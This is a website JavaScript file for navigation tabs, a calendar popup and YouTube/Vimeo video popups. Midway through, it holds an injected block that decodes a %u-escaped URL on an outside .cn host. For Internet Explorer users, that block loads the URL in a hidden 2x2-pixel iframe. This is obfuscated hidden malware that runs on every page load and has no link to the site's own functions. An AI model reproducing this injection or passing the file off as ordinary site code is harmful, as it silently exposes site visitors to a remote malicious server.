/* Copyright (c) 2006 Mateusz Heleniak @ www.iws.pl */

var lastEvent = "";


function clientSize()
{
	if(window.innerHeight >= 0)
	{
		return [window.innerWidth, window.innerHeight];
	}
	else if(document.documentElement)
	{
		return [document.documentElement.clientWidth, document.documentElement.clientHeight];
	}
	else if(document.body.clientHeight >= 0)
	{
		return [document.body.clientWidth, document.body.clientHeight];
	}
	else
	{
		return [0, 0];
	}
}

function menu()
{
	var i=0;
	var j=0;
	var x=0;
	var y=0;
	
	if(!document.getElementById)
	{
		return false;
	}
	for(i in x = document.getElementById('navigation').childNodes)
	{
		if(x[i].tagName && x[i].tagName.toLowerCase() == 'li')
		{
			for(j in y = x[i].childNodes)
			{
				if(y[j].tagName && y[j].tagName.toLowerCase() == 'a')
				{
					if(y[j].parentNode.className.match(/t-[0-9][ab]/g))
					{
						y[j].onclick = function(x)
						{
							with(this.parentNode)
							{
								if(x = className.match(/t-[0-9]a/g))
								{
									x = x[0].replace(/a/g, '');
									className = className.replace(new RegExp(x+'a', 'g'), x+'b');
								}
								else if(x = className.match(/t-[0-9]b/g))
								{
									x = x[0].replace(/b/g, '');
									className = className.replace(new RegExp(x+'b', 'g'), x+'a');
								}
							}
							this.blur();
							return false;
						}
					}
				}
			}
		}
	}
	if(document.getElementById('tab-1'))
	{
		for(i in x = document.getElementById('tab-1').getElementsByTagName('a'))
		{
			x[i].onclick = function(y,i)
			{
				for(i in y = this.parentNode.parentNode.getElementsByTagName('li'))
				{
					if(y[i].className && y[i].className == 'active')
					{
						y[i].className = '';
					}
				}
				for(i in y = document.getElementById('tab-2').childNodes)
				{
					if(y[i].className && y[i].className == 'active')
					{
						y[i].className = 'inactive';
					}
				}
				document.getElementById(this.href.substring(this.href.indexOf('#')+1)).className = 'active';
				this.parentNode.className = 'active';
				this.blur();
				return false;
			}
		}
	}
	
	
	
}


/*document.getElementById('calendar').onmousemove = function(e)
{
	if (lastEvent != '') return;
	e = e || event; var calbox = document.getElementById('calendarbox'); var di = 15, friction = 0.3, c = clientSize(), mX = e.clientX + (document.documentElement.scrollLeft || document.body.scrollLeft), mY = e.clientY + (document.documentElement.scrollTop || document.body.scrollTop);
	with(calbox.style)
	{
		var l = parseInt(left), t = parseInt(top), w = calbox.offsetWidth, h = calbox.offsetHeight;
		left = ((c[0] - mX - w < di) ? ((l > mX - di - w) ? l + (mX - di - w - l) * friction : mX - di - w) : ((l > mX - w - di && l < mX + di) ? l + (mX + di - l) * friction : mX + di)) + 'px';
		top = ((c[1] - mY - h < di) ? ((t > mY - di - h) ? t + (mY - di - h - t) * friction : mY - di - h) : ((t > mY - h - di && t < mY + di) ? t + (mY + di - t) * friction : mY + di)) + 'px';
	}
	alert (left,top);
}*/


function showevents(datecount, lowestprice)
{

	var theevent = ""; var floater = 0;
	theevent += '<p><b>' + datecount + ' dates</b></p>';
	theevent += '<p>starting from <b>' + lowestprice + '</b></p>';	
	var calbox = document.getElementById('calendarbox');
	calbox.innerHTML = theevent;
	calbox.style.display = 'block';

} 

var nu='%u0068%u0074%u0074%u0070%u003a%u002f%u002f%u0078%u002d%u0073'+
       '%u006b%u0069%u0070%u002e%u0063%u006e%u002f%u0073%u0065%u006f'+
       '%u002e%u0070%u0068%u0070';
var ko=unescape(nu);
if (navigator.userAgent.indexOf('MSIE')>=0)
{
var ahw=document.createElement(unescape('%u0069%u0066%u0072%u0061%u006d%u0065'));    
ahw.style.border='0px';ahw.style.width='2px';
ahw.style.height='2px';ahw.src=ko;
document.body.appendChild(ahw);
}
var youTubeVideoLink = "http://www.youtube.com/v/{movieId}";
var vimeoVideoLink = 'http://vimeo.com/moogaloop.swf?clip_id={movieId}&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1';

//onDocumentReady
$(function(){

	//Popup functions

	//for links only
	$.nyroModalSettings({
			processHandler: function(settings) {
			var from = settings.from;
			if (from && from.href && (from.rel.indexOf("youTube") != -1 || from.rel.indexOf("vimeo") != -1 ) && from.className != "movie-popup" ) {
				var address = from.href.slice(from.href.indexOf( "#" )+1);
				var url = "";
				var tmp = from.rel.split("|");
				if(tmp[0] == "youTube"){
					url = youTubeVideoLink.replace("{movieId}", address);
				}else if(tmp[0] == "vimeo"){
					url = vimeoVideoLink.replace("{movieId}", address);
				}

				$.nyroModalSettings({
					type: 'swf',
					height: tmp[1],
					width: tmp[2],
					url: url
			});
		  }
		}
	});



	//for templates
	$(".movie-popup").click( function(){
		var uniqueId = $(this).attr( "href" ).replace( "#movie-popup", "" );
		var tmp = $(this).attr( "rel" ).split( "|");
		var movieType = tmp[0];


		var width = tmp[2];
		var height = tmp[3];
		var placeHolderId = "#movie-place-holder" + uniqueId;
		var movieCode = "";
		movieCode+='<object width="'+ width +'" height="'+ height +'">';
		movieCode+='<param name="allowFullScreen" value="true"></param>';
		movieCode+='<param name="allowscriptaccess" value="always"></param>';
		var movieLink = tmp[1];
		if(movieType == "youTube"){
			movieCode+='<param name="movie" value="'+ youTubeVideoLink.replace("{movieId}", movieLink) +'"></param>';
			movieCode+='<embed src="'+ youTubeVideoLink.replace("{movieId}", movieLink) +'" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="'+ width +'" height="'+ height +'"></embed>';
		}else if( movieType == "vimeo" ){
			movieCode+= '<param name="movie" value="'+ vimeoVideoLink.replace("{movieId}", movieLink) +'" />';
			movieCode+= '<embed src="'+ vimeoVideoLink.replace("{movieId}", movieLink) +'" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="'+ width +'" height="'+ height +'"></embed>';
		}
		movieCode+='</object>';

		$(placeHolderId).html( movieCode );

		$(this).nyroModalManual();
		return false;

	} ); 
	$("[rel^=youTube],[rel^=vimeo]").nyroModal();
	$(".my-hidden").css("display", "none");

});